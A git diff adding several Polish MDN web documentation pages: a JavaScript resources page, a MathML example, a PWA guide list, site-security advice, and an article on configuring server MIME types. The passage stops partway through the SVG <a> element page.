+</p><p>Dostępna jest wczesna implementacja JavaScriptu 2.0 o nazwie kodowej <a class="external" href="http://www.mozilla.org/js/language/Epimetheus.html">Epimetheus</a>.
+</p>
+<h3 id="LiveConnect" name="LiveConnect">LiveConnect</h3>
+<p>LiveConnect jest mostem pomiędzy JavaScriptem a Javą. <a class="external" href="http://www.mozilla.org/js/liveconnect/">3 wersja LiveConnect</a> jest zaimplementowana w <a href="pl/SpiderMonkey">SpiderMonkey</a> od wersji 1.4 i w <a href="pl/Rhino">Rhino</a> od wersji 1.5.
+</p>
+<h3 id="R.C3.B3.C5.BCne" name="R.C3.B3.C5.BCne">Różne</h3>
+<p>Poniższe zasoby mogą również okazać się pomocne:
+</p>
+<ul><li> <a class="external" href="http://www.mozilla.org/js/language/grammar14.html">Gramatyka LR(1)</a> dla JavaScriptu 1.5 <small><a class="external" href="http://www.mozilla.org/js/language/grammar14.rtf">(wersja rtf)</a></small>
+</li><li> <a class="external" href="http://www.mozilla.org/js/language/bibliography.html">Bibliografia Waldemara</a>
+</li></ul>
+<div class="originaldocinfo">
+<h2 id="Informacje_o_pochodzeniu_dokumentu" name="Informacje_o_pochodzeniu_dokumentu"> Informacje o pochodzeniu dokumentu </h2>
+<ul><li> Autorzy: <a class="link-mailto" href="mailto:brendan@mozilla.org">Brendan Eich</a>, <a class="link-mailto" href="mailto:bob@bclary.org">Bob Clary</a>
+</li><li> Data ostatniej aktualizacji: Friday, January 24, 2003
+</li></ul>
+</div>
+{{ languages( { "en": "en/JavaScript_Language_Resources", "ja": "ja/JavaScript_Language_Resources" } ) }}
diff --git a/files/pl/web/mathml/index.html b/files/pl/web/mathml/index.html
new file mode 100644
index 0000000000..34602df279
--- /dev/null
+++ b/files/pl/web/mathml/index.html
@@ -0,0 +1,62 @@
+---
+title: MathML
+slug: Web/MathML
+tags:
+ - MathML
+ - Wszystkie_kategorie
+translation_of: Web/MathML
+---
+<p>Moduł MathML: Dodaje możliwość wyświetlania języka MathML wewnątrz Mozilli.</p>
+
+<h2 id="Przykład_w_XHTML">Przykład w XHTML</h2>
+
+<pre class="brush: html">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN"
+ "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+&lt;head&gt;
+ &lt;title&gt;MathML Example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;
+ &lt;mfrac&gt;
+ &lt;msubsup&gt;
+ &lt;mi&gt;a&lt;/mi&gt;
+ &lt;mi&gt;i&lt;/mi&gt;
+ &lt;mi&gt;j&lt;/mi&gt;
+ &lt;/msubsup&gt;
+ &lt;msub&gt;
+ &lt;mi&gt;x&lt;/mi&gt;
+ &lt;mn&gt;0&lt;/mn&gt;
+ &lt;/msub&gt;
+ &lt;/mfrac&gt;
+ &lt;mo&gt;−&lt;/mo&gt;
+ &lt;msqrt&gt;
+ &lt;msup&gt;
+ &lt;mi&gt;δ&lt;/mi&gt;
+ &lt;mn&gt;2&lt;/mn&gt;
+ &lt;/msup&gt;
+ &lt;mo&gt;−&lt;/mo&gt;
+ &lt;mn&gt;1&lt;/mn&gt;
+ &lt;/msqrt&gt;
+&lt;/math&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Dokumenty" name="Dokumenty">Dokumenty</h2>
+
+<ul>
+ <li><a href="/en/Mozilla_MathML_Project">Strona projektu MathML</a> na mozilla.org</li>
+ <li><a href="/en/Mozilla_MathML_Project/Authoring">Adaptowanie MathML dla Mozilli</a></li>
+ <li><a href="/en/Mozilla_MathML_Project/Fonts">Czcionki MathML dla Mozilli</a></li>
+</ul>
+
+<h2 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h2>
+
+<p>Obejrzyj fora Mozilli...</p>
+
+<p>{{ DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml") }}</p>
+
+<p>{{ languages( { "en": "en/MathML", "ja": "ja/MathML" } ) }}</p>
diff --git a/files/pl/web/progressive_web_apps/index.html b/files/pl/web/progressive_web_apps/index.html
new file mode 100644
index 0000000000..fd20bc5fbf
--- /dev/null
+++ b/files/pl/web/progressive_web_apps/index.html
@@ -0,0 +1,113 @@
+---
+title: Progressive web apps (PWAs)
+slug: Web/Progressive_web_apps
+translation_of: Web/Progressive_web_apps
+---
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td>
+ <div class="twocolumns">
+
+ </div>
+
+
+ </td>
+ <td></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+
+
+<dl>
+</dl>
+
+<p class="summary"><img alt="progressive web apps community PWA logo" src="https://mdn.mozillademos.org/files/16742/pwa.png" style="display: block; height: 188px; margin: 0px auto; width: 350px;"></p>
+
+<h2 id="PWA_advantages">PWA advantages</h2>
+
+<p>PWA should be discoverable, installable, linkable, network independent, progressive, re-engageable, responsive, and safe. To find out more about what these mean, read <a href="/en-US/docs/Web/Progressive_web_apps/Advantages">Progressive web app advantages</a>.</p>
+
+<p><a href="https://developers.google.com/web/updates/2018/05/beyond-spa">Google</a> uses a helpful acronym for us to understand why PWA are so effective: FIRE – Fast, Integrated, Reliable, and Engaging. This acronym is itself a perfect explanation of why PWA is in trend amongst developers.</p>
+
+<p>To find out how to implement PWA, consult the guides listed in the below section.</p>
+
+<h2 id="Core_PWA_guides">Core PWA guides</h2>
+
+<p>The following guides show you what need to do to implement a PWA, by examining a simple example and showing you how all the pieces work.</p>
+
+<ol>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps/Introduction">Introduction to progressive web apps</a></li>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps/App_structure">Progressive web app structure</a></li>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps/Offline_Service_workers">Making PWA work offline with Service workers</a></li>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps/Installable_PWAs">How to make PWA installable</a></li>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps/Re-engageable_Notifications_Push">How to make PWA re-engageable using Notifications and Push</a></li>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps/Loading">Progressive loading</a></li>
+ <li><a href="https://pwafire.org">Collection of resources, codelabs and tools you need to build PWA by the team at pwafire.org</a></li>
+ <li><a href="https://github.com/pwafire/pwadev-tips">Setting up your Progressive Web App Development environment</a></li>
+</ol>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Technology_guides">Technology guides</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Client-side storage</a> — A lengthy guide showing how and when to use web storage, IndexedDB, and service workers.</li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using service workers</a> — A more in-depth guide covering the Service Worker API.</li>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a> — The fundamentals of IndexedDB, explained in detail.</li>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a> — The Web storage API made simple.</li>
+ <li><a class="external external-icon" href="https://developers.google.com/web/updates/2015/11/app-shell" rel="noopener">Instant Loading Web Apps with An Application Shell Architecture</a> — A guide to using the App Shell coding pattern to create apps that load quickly.</li>
+ <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API">Using the Push API</a> — Learn the essentials behind the Web Push API.</li>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a> — Web notifications in a nutshell.</li>
+ <li><a href="/en-US/docs/Web/Apps/Modern/Responsive/responsive_design_building_blocks">The building blocks of responsive design</a> — Learn the basics of responsive design, an essential topic for modern app layout.</li>
+ <li><a href="/en-US/docs/Web/Apps/Modern/Responsive/Mobile_first">Mobile first</a> — Often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top.</li>
+ <li><a href="/en-US/docs/Web/Apps/Progressive/Add_to_home_screen">Add to home screen guide</a> — Learn how your apps can take advantage of Add to home screen (A2HS).</li>
+</ul>
+</div>
+
+<div class="column-half">
+<h2 id="Tools">Tools</h2>
+
+<ul>
+ <li><a class="external external-icon" href="https://localforage.github.io/localForage/" rel="noopener">localForage</a> — A nice simple JavaScript library for making client-side data storage really simple; it uses IndexedDB by default and falls back to Web SQL/Web Storage if necessary.</li>
+ <li><a class="external external-icon" href="https://github.com/fxos-components/serviceworkerware" rel="noopener">ServiceWorkerWare</a> — An <em>Express-like</em> microframework for easy Service Worker development.</li>
+ <li><a class="external external-icon" href="https://github.com/mozilla/oghliner" rel="noopener">oghliner</a> — Not only a template but a tool for deploying Offline Web Apps to GitHub Pages.</li>
+ <li><a class="external external-icon" href="https://github.com/GoogleChrome/sw-precache" rel="noopener">sw-precache</a> — A node module to generate service worker code that will precache specific resources.</li>
+ <li><a class="external external-icon" href="https://github.com/GoogleChrome/workbox" rel="noopener">workbox</a> — Spiritual successor to sw-precache with more advanced caching strategies and easy precaching.</li>
+ <li><a class="external external-icon" href="https://www.talater.com/upup/" rel="noopener">upup</a> — A tiny script that makes sure your site is always there for your users.</li>
+ <li><a class="external external-icon" href="https://serviceworke.rs/" rel="noopener">The service worker cookbook</a> — A series of excellent service worker/push recipes, showing how to implement an offline app, but also much more.</li>
+ <li><a href="https://marketplace.visualstudio.com/items?itemName=mayeedwin.vscode-pwa">PWA VS Code extension</a> - A collection of all essential code snippets you need to build Progressive Web Apps right there in your VS Code environment.</li>
+</ul>
+</div>
+</div>
+
+<ul>
+ <li><a href="https://developers.google.com/web/progressive-web-apps">Progressive web apps</a> on Google Developers.</li>
+ <li><a href="https://medium.com/@slightlylate/progressive-apps-escaping-tabs-without-losing-our-soul-3b93a8561955#.6czgj0myh">Progressive Web Apps: Escaping Tabs Without Losing Our Soul</a> by Alex Russell.</li>
+ <li><a href="https://developers.google.com/web/progressive-web-apps/checklist">Progressive Web Apps Check List</a>.</li>
+ <li><a href="https://developers.google.com/web/tools/lighthouse">The Lighthouse Tool</a> by Google.</li>
+ <li><a href="https://github.com/angular/mobile-toolkit">Tools for building progressive web apps with Angular</a>.</li>
+ <li><a href="https://github.com/codebusking/react-pwa-guide-kit">React PWA Guide Kit</a>.</li>
+ <li><a href="https://pokedex.org/">Offline-capable Pokédex web site</a>.</li>
+ <li><a href="https://hnpwa.com/">Hacker News readers as Progressive Web Apps</a>.</li>
+ <li><a href="https://ymedialabs.com/progressive-web-apps">Why Progressive Web Apps Are The Future of Mobile Web (2019 Research)</a>.</li>
+ <li><a href="https://www.csschopper.com/blog/progressive-web-apps-everything-you-need-to-know/">Progressive Web Apps: Everything You Need To Know</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</div>
+
+<p>
+ </p><dl>
+ </dl>
+
+
+<p><span style="display: none;"> </span></p>
diff --git a/files/pl/web/security/securing_your_site/index.html b/files/pl/web/security/securing_your_site/index.html
new file mode 100644
index 0000000000..59682ddf82
--- /dev/null
+++ b/files/pl/web/security/securing_your_site/index.html
@@ -0,0 +1,55 @@
+---
+title: Securing your site
+slug: Web/Security/Securing_your_site
+tags:
+ - HTTP
+ - NeedsTranslation
+ - Security
+ - TopicStub
+ - Web Development
+ - Website Security
+translation_of: Web/Security/Securing_your_site
+---
+<p>{{ draft() }}</p>
+
+<p>There are a number of things you can do to help secure your site. This article offers an assortment of suggestions, as well as links to other articles providing more useful information.</p>
+
+<div class="note"><strong>Note:</strong> This article is a work in progress, and is neither complete nor does following its suggestions guarantee your site will be fully secure.</div>
+
+<h2 id="User_information_security">User information security</h2>
+
+<dl>
+ <dt><a href="/en/How_to_Turn_Off_Form_Autocompletion" title="en/How to Turn Off Form Autocompletion">How to turn off form autocompletion</a></dt>
+ <dd>Form fields support autocompletion in Gecko; that is, their values can be remembered and automatically brought back the next time the user visits your site. For certain types of data, you may wish to disable this feature.</dd>
+ <dt><a href="/en/CSS/Privacy_and_the_:visited_selector" title="en/CSS/Privacy and the :visited selector">Privacy and the :visited selector</a></dt>
+ <dd>This article discusses changes made to the <code>getComputedStyle()</code> method that eliminates the ability for malicious sites to figure out the user's browsing history.</dd>
+ <dt><a href="https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet">Hash passwords using a secure algorithm</a> (OWASP)</dt>
+ <dd>Storing passwords in plain text can lead to attackers knowing and leaking the exact password of your site's users, potentially putting the users at risk. The same issues can arise if you use an old or insecure algorithm for hashing (such as md5). You should use a password-specific hashing algorithm (such as Argon2, PBKDF2, scrypt or bcrypt) instead of message digest algorithms (such as md5 and sha). This article showcases best practices to use when storing passwords.</dd>
+</dl>
+
+<h2 id="Content_security">Content security</h2>
+
+<dl>
+ <dt><a href="/en/Properly_Configuring_Server_MIME_Types" title="en/Properly Configuring Server MIME Types">Properly configuring server MIME types</a></dt>
+ <dd>There are several ways incorrect MIME types can cause potential security problems with your site. This article explains some of those and shows how to configure your server to serve files with the correct MIME types.</dd>
+ <dt><a href="/en/Security/HTTP_Strict_Transport_Security" title="en/Security/HTTP Strict Transport Security">HTTP Strict Transport Security</a></dt>
+ <dd>The <code>Strict-Transport-Security:</code> <a href="/en/HTTP" title="en/HTTP">HTTP</a> header lets a website specify that it may only be accessed using HTTPS.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/CORS" title="En/HTTP access control">HTTP access control</a></dt>
+ <dd>The Cross-Origin Resource Sharing standard provides a way to specify what content may be loaded from other domains. You can use this to prevent your site from being used improperly; in addition, you can use it to establish resources that other sites are expressly permitted to use.</dd>
+ <dt><a href="/en/Security/CSP">Content Security Policy</a></dt>
+ <dd>An added layer of security that helps to detect and mitigate certain types of attacks, including {{Glossary("Cross-site_scripting", "Cross Site Scripting (XSS)")}} and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. Code is executed by the victims and lets the attackers bypass access controls and impersonate users. According to the Open Web Application Security Project, XSS was the <a class="external external-icon" href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" rel="noopener">seventh most common Web app vulnerability</a> in 2017.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/X-Frame-Options">The X-Frame-Options response header</a></dt>
+ <dd>
+ <p>The <code>X-Frame-Options:</code> <a href="/en/HTTP" title="en/HTTP">HTTP</a> response header can be used to indicate whether or not a browser should be allowed to render a page in a {{ HTMLElement("frame") }}. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.</p>
+ </dd>
+ <dt>Securing Your Site using Htaccess</dt>
+ <dd>It is the best way to secure your site using the .htaccess file. You can blacklist IPs, restrict access to certain areas of website, protect different files, protect against image hotlinking, and a lot more.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="https://www.owasp.org/">Open Web Application Security Project (OWASP)</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</div>
diff --git a/files/pl/web/security/securing_your_site/konfiguracja_mime_na_serwerze/index.html b/files/pl/web/security/securing_your_site/konfiguracja_mime_na_serwerze/index.html
new file mode 100644
index 0000000000..87aea6b3b3
--- /dev/null
+++ b/files/pl/web/security/securing_your_site/konfiguracja_mime_na_serwerze/index.html
@@ -0,0 +1,114 @@
+---
+title: Poprawna kofiguracja MIME na serwerze
+slug: Web/Security/Securing_your_site/Konfiguracja_MIME_na_serwerze
+tags:
+ - HTTP
+translation_of: Learn/Server-side/Configuring_server_MIME_types
+---
+<h2 id="Background" name="Background">Kontekst</h2>
+
+<p>Wiele serwerów webowych domyślnie ma skonfigurowane raportowanie typów MIME <code>text/plain</code> lub <code>application/octet-stream</code> w przypadku nierozpoznanych typów zawartości. Kiedy nowe typy zawartości dopiero powstają lub są dodawane do serwerów webowych zdarza się, że administratorzy webowi nie dodają nowo-powstałych typów MIME do ustawień serwera webowego. I to właśnie stanowi główną bolączkę użytkowników przeglądarek opartych o Gecko, które uznają typy MIME jako zraportowane przez serwery i aplikacje webowe.</p>
+
+<h3 id="What_are_MIME_types.3F" name="What_are_MIME_types.3F">Czym są typy MIME?</h3>
+
+<p>Typy MIME opisują typ danych zawartości mailowej lub obsługiwanej przez serwery lub aplikacje webowe i ich zadaniem jest pomoc przeglądarce w przetworzeniu i wyświetleniu zawartości. Przykładami typów MIME są:</p>
+
+<ul>
+ <li><code>text/html</code> dla zwykłych stron WWW</li>
+ <li><code>text/plain</code> dla zwykłego tekstu</li>
+ <li><code>text/css</code> dla kaskadowych arkuszy stylów</li>
+ <li><code>text/javascript</code> dla skryptów</li>
+ <li><code>application/octet-stream</code> przy pobieraniu pliku</li>
+ <li><code>application/x-java-applet</code> dla apletów Javy</li>
+ <li><code>application/pdf</code> dla dokumentów PDF</li>
+</ul>
+
+<h3 id="Technical_Background" name="Technical_Background">Kontekst techniczny</h3>
+
+<p>Zarejestrowane wartości MIME są dostępne w <a class="external" href="http://www.iana.org/assignments/media-types/index.html">Typy danych IANA | MIME</a>. <a class="external" href="http://www.w3.org/Protocols/HTTP/1.1/spec.html">Specyfikacja HTTP</a> definiuje nadzbiór typów MIME, który jest używany do opisu typów danych używanych w sieci WWW.</p>
+
+<h3 id="Why_are_correct_MIME_types_important.3F" name="Why_are_correct_MIME_types_important.3F">Dlaczego poprawne typy MIME są tak istotne?</h3>
+
+<p><img alt="Example of an incorrect MIME type result" class="internal" src="/@api/deki/files/729/=Incorrect-mime-screen.jpg" style="float: right;"> Jeśli serwer lub aplikacja webowa dla danej zawartości raportuje niepoprawny typ MIME, przeglądarka nie ma możliwości, <em>wg specyfikacji HTTP</em>, wiedzieć, że autor zainicjował przetworzenie i wyświetlenie danej zawartości w odmienny sposób, niż domyślny dla zraportowanego typu MIME.</p>
+
+<p>Niektóre z przeglądarek, jak Microsoft® Internet Explorer, dążą do zezwalania niepoprawnie skonfigurowanym serwerom i aplikacjom webowym na <em><a class="external" href="http://support.microsoft.com/default.aspx?sd=msdn&amp;scid=kb;en-us;293336">zgadywanie</a></em>, jaki powinien być poprawny typ MIME. Takie podejście uchroniło wielu administratorów webowych przed własnymi błędami - Internet Explorer kontynuuje przetwarzanie zawartości zgodnie z oczekiwaniami mimo, że sam serwer webowy nie jest poprawnie skonfigurowany i np. wyświetla obrazek, który został zraportowany jako będący rzekomo zwykłym tekstem.</p>
+
+<p>Obsługa treści poprzez używanie poprawnego typu MIME jest istotna także z punktu widzenia bezpieczeństwa; istnieje ryzyko wyrządzenia przez niechcianą treść szkód na komputerze użytkownika poprzez symulowanie, że typ danej zawartości jest bezpieczny mimo, że w istocie może nie być to prawda.</p>
+
+<div class="note">
+<p><strong>Zauważ:</strong> Kiedyś Firefox ładował pliki CSS nawet, jeśli posiadały błędny typ MIME. Wystarczyło, że dokument HTML, który o nie wnioskował działał w trybie osobliwości (quirks mode). Ze względów bezpieczeństwa, {{ gecko("2.0") }} nie będzie dłużej kontynować tego typu zachowań w przypadku arkuszy stylów ładowanych z innych źródeł, niż dokument, który o nie wnioskował. Jeśli Twój arkusz stylów pochodzi z innego źródła, niż główny dokument <strong>musisz </strong>obsłużyć go poprzez poprawny typ MIME (<code>text/css</code>).</p>
+
+<p>Gecko 1.9.1.11 (Firefox 3.5.11) i Gecko 1.9.2.5 (Firefox 3.6.5) również zaimplementowały tę łatkę bezpieczeństwa, ale by polepszyć zgodność <strong>tymczasowo </strong>istniała heurytrystyka pozwalająca na załadowanie, jeśli pierwsza linia w arkuszu stylów wydawała się być poprawną konstrukcją CSSową; heurytrystyka ta została usuninęta w Firefoxie 4 i od tego czasu należy odpowiednio ustawić typy MIME <code>text/css</code>, aby strony CSS zostały rozpoznane.</p>
+</div>
+
+<h2 id="Why_browsers_should_not_guess_MIME_types" name="Why_browsers_should_not_guess_MIME_types">Dlaczego przeglądarki nie powinny zgadywać typów MIME</h2>
+
+<p>Poza naruszaniem specyfikacji HTTP istnieją dodatkowe powody, dla których zgadywanie typów MIME nie należy do najlepszych praktyk:</p>
+
+<h4 id="Loss_of_control" name="Loss_of_control">Utrata kontroli</h4>
+
+<p>Jeśli przeglądarka ignoruje zaraportowany typ MIME, administratorzy i autorzy webowi nie mają dłużej kontroli nad sposobem przetwarzania danej zawartości.</p>
+
+<p>Przykładowo, strona WWW ukierunkowana na twórców witryn może życzyć sobie przesłania pewnych dokumentów, przykładowo HTMLowych, jak również <code>text/html</code> lub <code>text/plain</code>, by móc je przetworzyć i wyświetlić jako HTML lub jako kod źródłowy. Jeśli przeglądarka będzie zgadywać typ MIME, tego typu możliwość nie będzie dłużej dostępna dla autora.</p>
+
+<h4 id="Security" name="Security">Bezpieczeństwo</h4>
+
+<p>Niektóre typy zawartości, jak pliki wykonywalne, są przeważnie niebezpieczne. Z tego powodu te typy MIME przeważnie są ograniczone pod względem akcji, jakie podejmie przeglądarka w przypadku tego typu plików. Plik wykonywalny nie powinien wykonywać się na komputerze użytkownika, co najwyżej może mieć prawo do wyświetlenia okienka <strong>z zapytaniem do użytkownika</strong>, czy chce pobrać ten plik.</p>
+
+<p>W Internet Explorerze zgadywanie typów MIME doprowadziło do naruszenia bezpieczeństwa - przez niepoprawne zgadywanie szkodliwe treści bywały oznaczane jako bezpieczne, co skutkowało pominięciem wyświetlania standardowego okienka pobierania i przedostawaniem się plików wykonywalnych na komputery użytkowników.</p>
+
+<h2 id="Jak_określić_typ_MIME_który_jest_wysyłany_przez_serwer">Jak określić typ MIME, który jest wysyłany przez serwer</h2>
+
+<p>W Firefoxie załaduj plik i użyj Narzędzia | Informacje o witrynie. Możesz również użyć <a class="external" href="http://www.rexswain.com/httpview.html">Rex Swain's HTTP Viewer</a> lub <a class="external" href="http://livehttpheaders.mozdev.org/">Live HTTP Headers</a> , aby zobaczyć pełne nagłówki i treść każdego pliku wysłanego z serwera webowego.</p>
+
+<p>W odniesieniu do standardów, tag <code>meta</code> o typie MIME jak np. <code><span class="nowiki">&lt;meta http-equiv="Content-Type" content="text/html"&gt;</span></code> powinien być ignorowany, jeśli w nagłówku znajduje się zapis {{HTTPHeader("Content-Type")}}. Zamiast szukać tej linii w kodzie źródłowym HTML lepiej użyć powyższych technik do określenia typu MIME wysyłanego przez serwer.</p>
+
+<h2 id="Jak_określić_prawidłowy_typ_MIME_dla_Twojej_treści">Jak określić prawidłowy typ MIME dla Twojej treści</h2>
+
+<p>Jest kilka kroków, które należy zrobić by określić poprawną wartość dla typu MIME twojej treści.</p>
+
+<ol>
+ <li>Jeśli twoja treść została utworzona z pomocą zewnętrznego oprogramowania, przeczytaj jego dokumentację by dowiedzieć się, jakie typy MIME powinny zostać zraportowane dla danych typów danych.</li>
+ <li>Zerknij na <a class="external" href="http://www.iana.org/assignments/media-types/index.html">rejest typów danych IANA | MIME</a>. Zawiera on wszystkie zarejestrowane typy MIME.</li>
+ <li>Jeśli typ danych jest wyświetlany poprzez rozszerzenie w Netscape Gecko, zainstaluj wtyczkę, a następnie sprawdź Pomoc-&gt;O Menu Wtyczek, by sprawdzić jakie typy MIME są związane z typem danych.</li>
+ <li>Poszukaj rozszerzenia pliku w <a class="external" href="http://filext.com/">FILExt</a> lub <a class="external" href="http://www.file-extensions.org/">File extensions reference</a>, aby sprawdzić jakie typy MIME są związane z tym rozszerzeniem.</li>
+</ol>
+
+<h2 id="Jak_przygotować_serwer_żeby_wysyłał_poprawne_typy_MIME">Jak przygotować serwer, żeby wysyłał poprawne typy MIME</h2>
+
+<p>Fundamentalną kwestią jest konfiguracja Twojego serwera w taki sposób, by wysyłał poprawny nagłówek HTTP {{HTTPHeader("Content-Type")}} dla każdego dokumentu.</p>
+
+<ul>
+ <li>Jeśli używasz serweru webowego Apache to po prostu skopiuj ten <a href="/en/Sample_.htaccess_file" title="en/Sample_.htaccess_file">fragment pliku .htaccess</a> do lokalizacji, która zawiera pliki, które chcesz wysłać z poprawnymi typami MIME. Jeśli masz cały podkatalog plików, po prostu umieść plik w katalogu nadrzędnym; nie ma potrzeby umieszczania go w każdym podkatalogu.</li>
+ <li>Jeśli uzywasz Microsoft IIS, sprawdź <a class="external" href="http://technet2.microsoft.com/windowsserver/en/library/ec84d61e-3e24-4de0-b35a-d41eb662fefb1033.mspx">ten artykuł</a> na Microsoft TechNet</li>
+ <li>Jesli używasz do generowania treści używasz skryptu działającego po stronie serwera, możesz po prostu dodać jedną linijkę praktycznie na samej górze Twojego skryptu. Możesz obsługiwać zawartość inną, niż HTML, właściwą dla Perla, PHP, ASP czy Javy - tylko zmień odpowiednio typ MIME.
+ <ul>
+ <li>W przypadku Pearl CGI zadbaj o zapis <code>print "Content-Type: text/html\n\n";</code> przed jakimkolwiek pozostałym outputem. Jeśli używasz modułu CGI to możesz zamiast tego użyć linii <code>print $cgi-&gt;header('text/html');</code>, gdzie <code>$cgi</code> to Twoja referencja do instancji CGI.</li>
+ <li>W przypadku PHP zadbaj o zapis <code>header('Content-Type: text/html');</code> przed jakimkolwiek pozostałym outputem.</li>
+ <li>W przypadku ASP zadbaj o zapis <code>response.ContentType = "text/html";</code> przed jakimkolwiek pozostałym outputem.</li>
+ <li>W przypadku servletu Javy zadbaj o zapis <code>response.setContentType("text/html");</code> na górze Twojej metody <code>doGet</code> lub <code>doPost</code>, gdzie <code>response</code> to referencja do <code>HttpServletResponse</code>.</li>
+ </ul>
+ </li>
+</ul>
+
+<h3 id="Related_Links" name="Related_Links">Powiązane linki</h3>
+
+<ul>
+ <li><a href="/en/Incorrect_MIME_Type_for_CSS_Files" title="en/Incorrect_MIME_Type_for_CSS_Files">Niepoprawne typy MIME dla plików CSS</a></li>
+ <li><a class="external" href="http://www.iana.org/assignments/media-types/index.html">Typy danych IANA | MIME</a></li>
+ <li><a class="external" href="http://www.w3.org/Protocols/HTTP/1.1/spec.html">Protokół transmisji hipertekstu — HTTP/1.1</a></li>
+ <li><a class="external" href="http://support.microsoft.com/default.aspx?sd=msdn&amp;scid=kb;en-us;293336">Microsoft - 293336 - INFO: WebCast: Podejście do typów MIME w Microsoft Internet Explorerze</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/networking/moniker/overview/appendix_a.asp">Microsoft - Appendix A: Wykrywanie typów MIME Type Detection w Internet Explorerze</a></li>
+ <li><a class="external" href="http://www.microsoft.com/windows/ie/downloads/critical/q290108/">Microsoft - Aktualizacja Bezpieczeństwa, 29.03.2001</a></li>
+ <li><a class="external" href="http://www.microsoft.com/windows/ie/downloads/critical/Q313675/">Microsoft - Aktualizacja Bezpieczeństwa, 13.12.2001</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Informacje dot. dokumentu źródłowego</h3>
+
+<ul>
+ <li>Author: Bob Clary, date: 20 Feb 2003</li>
+</ul>
+</div>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</div>
diff --git a/files/pl/web/svg/element/a/index.html b/files/pl/web/svg/element/a/index.html
new file mode 100644
index 0000000000..0bef2fd2ac
--- /dev/null
+++ b/files/pl/web/svg/element/a/index.html
@@ -0,0 +1,149 @@
+---
+title: <a>
+slug: Web/SVG/Element/a
+tags:
+ - Element SVG
+ - SVG
+ - SVG link
+translation_of: Web/SVG/Element/a
+---
+<div>{{SVGRef}}</div>
+
+<p><span class="seoSummary">Element <strong><code>&lt;a&gt;</code></strong> SVG określa hiperłącze.</span></p>
+
+<p>Element<a href="/en-US/docs/Web/HTML/Element/a"> &lt;a&gt; </a><a href="/en-US/docs/Web/HTML/Element/a">HTML </a>jest interpretowany tak samo jak element &lt;a&gt; SVG. Z tego względu w przypadku użycia selektora &lt;a&gt; w CSS lub JavaScript może mieć zastosowanie do nieprawidłowego elementu. Wypróbuj regułę @namespace, aby rozróżnić między nimi.</p>
+
+<h2 id="Użycie">Użycie</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<h3 id="Atrybuty_globalne">Atrybuty globalne</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Conditional_processing_attributes">Conditional processing attributes</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core_attributes">Core attributes</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Graphical_event_attributes">Graphical event attributes</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation_attributes">Presentation attributes</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Xlink_attributes">Xlink attributes</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+ <li>{{SVGAttr("transform")}}</li>
+</ul>
+
+<h3 id="Atrybuty_specyficzne">Atrybuty specyficzne</h3>
+
+<div class="note">
+<p>No browser supports all XLink attributes.</p>
+</div>
+
+<ul>
+ <li>{{SVGAttr("href")}}</li>
+ <li>{{SVGAttr("target")}}</li>
+ <li>{{SVGAttr("xlink:show")}}</li>
+ <li>{{SVGAttr("xlink:actuate")}}</li>
+ <li>{{SVGAttr("xlink:href")}} {{deprecated_inline}}</li>
+</ul>
+
+<h2 id="DOM_model">DOM model</h2>
+
+<p>Element implementuje {{domxref("SVGAElement")}}.</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html">&lt;svg width="140" height="30" xmlns="http://www.w3.org/2000/svg"
